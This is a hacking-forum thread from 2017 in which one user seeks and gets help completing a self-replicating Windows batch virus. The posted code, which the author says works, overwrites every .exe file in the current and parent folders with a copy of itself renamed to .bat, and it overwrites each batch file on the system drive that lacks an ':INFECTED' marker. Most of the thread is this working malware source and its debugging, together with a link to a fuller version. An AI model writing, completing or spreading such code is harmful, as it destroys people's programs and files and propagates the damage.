Feb 13, 2017 04:17 PM
(This post was last modified: Feb 13, 2017 07:42 PM by zask.)
Ok I'm trying to basically create a recursive
Overwriting virus which can infect all exe and batch files. I'm having some issues on getting the batch part to work.
I'm using findstr to detect if a batch file has already been infected. If findstr finds this mark in the batch file, it will know its infected.
This part works, it will give you a list of all the infected files.
Code findstr /m ":INFECTED" *.bat > INFECTED.txt
This part of the code will search for all the
non-infected batch files, I cannot figure out how to get it to properly work inside the for loop.
Code (for /r %%a in (*.bat) do find ":INFECTED" "%%a" > nul || echo %%a) > NOT_INFECTED.txt
I want to be able to search inside every batch file on the computer for the phrase :INFECTED and if it exist, ignore the file, if it does not exist, infect the file. Sounds simple enough but I'm stuck.
Here is my source. :)
Code :INFECTED
@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set TOPFOLDER=%%~DA\
for /l %%B in (1,0,2) do (
:::::::::::::::::::::::::INFECT .EXE:::::::::::::::::::::::::
for %%A in (*.exe) do set "FILE1=%%~DPNXA" > nul & for %%C IN ("!FILE1!") do (
ren "!FILE1!" "%%~NC.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NC.bat" )
for /r %%B in (*.exe) do set "FILE2=%%B" > nul & for %%D IN ("!FILE2!") do (
ren "!FILE2!" "%%~ND.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~ND.bat")
:::::::::::::::::::::::::INFECT .BAT:::::::::::::::::::::::::
:::issues start at this point
findstr /m ":INFECTED" *.bat > INFECTED.txt
(for /r %%a in (*.bat) do find ":INFECTED" "%%a" > nul || echo %%a) > NOT_INFECTED.txt
for /f "Delims=" %%A in (results.txt) do set "INFECT=%%A" & (
if "!errorlevel!"=="0" echo. )
:::something like this, hopefully it can help.
pause
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
cd..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
exit
I believe this code should work. I didn't test it because well. I don't have any batch scripts that say :infected lol
Either way, I think aside from the formatting of your code.
using FOR /R %systemdrive% you would be able to see all *.bat in that folder,
findstr /c: to search for the literal term "infected"
&& echo if it DOES
|| echo if it DOESNT
Code for %%A in ("%CD%") do set TOPFOLDER=%%~DA\
for /l %%B in (1,0,2) do (
:::::::::::::::::::::::::INFECT .EXE:::::::::::::::::::::::::
for %%A in (*.exe) do set "FILE1=%%~DPNXA"
for %%C IN ("!FILE1!") do (
ren "!FILE1!" "%%~NC.txt"
if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NC.bat"
)
for /r %%B in (*.exe) do set "FILE2=%%B"
for %%D IN ("!FILE2!") do (
ren "!FILE2!" "%%~ND.txt"
if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~ND.bat"
)
:::::::::::::::::::::::::INFECT .BAT:::::::::::::::::::::::::
:::issues start at this point
for /r %systemdrive% %%a in (*.bat) do (
findstr /c:":INFECTED" "%%~a">nul && (
echo %%a - INFECTED >>results.txt || echo %%a - NOT INFECTED>>results.txt
)
)
type results.txt
:::something like this, hopefully it can help.
pause
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
cd..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
exit
Feb 14, 2017 04:59 AM
(This post was last modified: Feb 14, 2017 01:28 PM by zask.)
(Feb 13, 2017 11:11 PM)ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™ Wrote: I believe this code should work. I didn't test it because well. I don't have any batch scripts that say :infected lol
Either way, I think aside from the formatting of your code.
using FOR /R %systemdrive% you would be able to see all *.bat in that folder,
findstr /c: to search for the literal term "infected"
&& echo if it DOES
|| echo if it DOESNT
Code for %%A in ("%CD%") do set TOPFOLDER=%%~DA\
for /l %%B in (1,0,2) do (
:::::::::::::::::::::::::INFECT .EXE:::::::::::::::::::::::::
for %%A in (*.exe) do set "FILE1=%%~DPNXA"
for %%C IN ("!FILE1!") do (
ren "!FILE1!" "%%~NC.txt"
if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NC.bat"
)
for /r %%B in (*.exe) do set "FILE2=%%B"
for %%D IN ("!FILE2!") do (
ren "!FILE2!" "%%~ND.txt"
if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~ND.bat"
)
:::::::::::::::::::::::::INFECT .BAT:::::::::::::::::::::::::
:::issues start at this point
for /r %systemdrive% %%a in (*.bat) do (
findstr /c:":INFECTED" "%%~a">nul && (
echo %%a - INFECTED >>results.txt || echo %%a - NOT INFECTED>>results.txt
)
)
type results.txt
:::something like this, hopefully it can help.
pause
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
cd..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
exit
Okay I will test as soon as I get to use a computer, which should be today.
Yes is works, well almost you forgot to add one thing. ")||(" around the "||"
Code @echo off
for %%A in ("%CD%") do set TOPFOLDER=%%~DA\
for /l %%B in (1,0,2) do (
:::::::::::::::::::::::::INFECT .EXE:::::::::::::::::::::::::
for %%A in (*.exe) do set "FILE1=%%~DPNXA"
for %%C IN ("!FILE1!") do (
ren "!FILE1!" "%%~NC.txt"
if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NC.bat"
)
for /r %%B in (*.exe) do set "FILE2=%%B"
for %%D IN ("!FILE2!") do (
ren "!FILE2!" "%%~ND.txt"
if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~ND.bat"
)
:::::::::::::::::::::::::INFECT .BAT:::::::::::::::::::::::::
for /r %systemdrive% %%A in (*.bat) do (
findstr /c:":INFECTED" "%%~A" > nul && (
echo %%A - INFECTED )||( copy /y %0 "%%A" ))
pause
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
cd..
if "!CD!"=="%TOPFOLDER%" call :end
)
:end
exit
Either way, the parenthesis are not completely necessary, but yeah, you could do it like that
(Feb 14, 2017 07:58 PM)ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™ Wrote: Either way, the parenthesis are not completely necessary, but yeah, you could do it like that
The pipe will cause the code not to work unless you add the parentheses around it. Try yourself, in this occasion it would be necessary
Oh, I see the mistake I made.
Code for /r %systemdrive% %%a in (*.bat) do (
findstr /c:":INFECTED" "%%~a">nul && (
echo %%a - INFECTED >>results.txt
) || echo %%a - NOT INFECTED>>results.txt
)
Will work sufficiently
Not sure why you guys want to run batch file to spread the virus. You can use VBS scripting language to do this in better way.
(Feb 15, 2017 10:24 AM)GhostintheShock Wrote: Not sure why you guys want to run batch file to spread the virus. You can use VBS scripting language to do this in better way.
I think you're using "you guys" inappropriately. I do not condone spreading viruses. All the code I wrote does it check to see if it SAYS infected inside the file or not. Just in case you didn't read the code yourself, instead of seeing the word "INFECTED" and jumping to conclusion.
Feb 17, 2017 06:34 PM
(This post was last modified: Feb 17, 2017 06:42 PM by zask.)
(Feb 15, 2017 10:38 AM)ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™ Wrote: I think you're using "you guys" inappropriately. I do not condone spreading viruses. All the code I wrote does it check to see if it SAYS infected inside the file or not. Just in case you didn't read the code yourself, instead of seeing the word "INFECTED" and jumping to conclusion.
Creating viruses is legal, that doesn't mean you can't use them illegally, I don't use them illegally, I code cause I have nothing else to do.
(Feb 15, 2017 10:24 AM)GhostintheShock Wrote: Not sure why you guys want to run batch file to spread the virus. You can use VBS scripting language to do this in better way.
Why? Boredom.
See, isn't that hard to make a virus in batch. Just visit the link. I added a pause so no one would severely screw anything up.
textuploader.com/d1z3f
Feb 17, 2017 11:40 PM
(This post was last modified: Feb 17, 2017 11:41 PM by ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™.)
(Feb 17, 2017 06:34 PM)zask Wrote: Creating viruses is legal, that doesn't mean you can't use them illegally, I don't use them illegally, I code cause I have nothing else to do.
I'm not accusing you, sir. Sorry for the misunderstanding. I had quoted someone else whom doesn't know what they're talking about.
(Feb 17, 2017 11:40 PM)ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™ Wrote: I'm not accusing you, sir. Sorry for the misunderstanding. I had quoted someone else whom doesn't know what they're talking about.
It's okay I understand.
|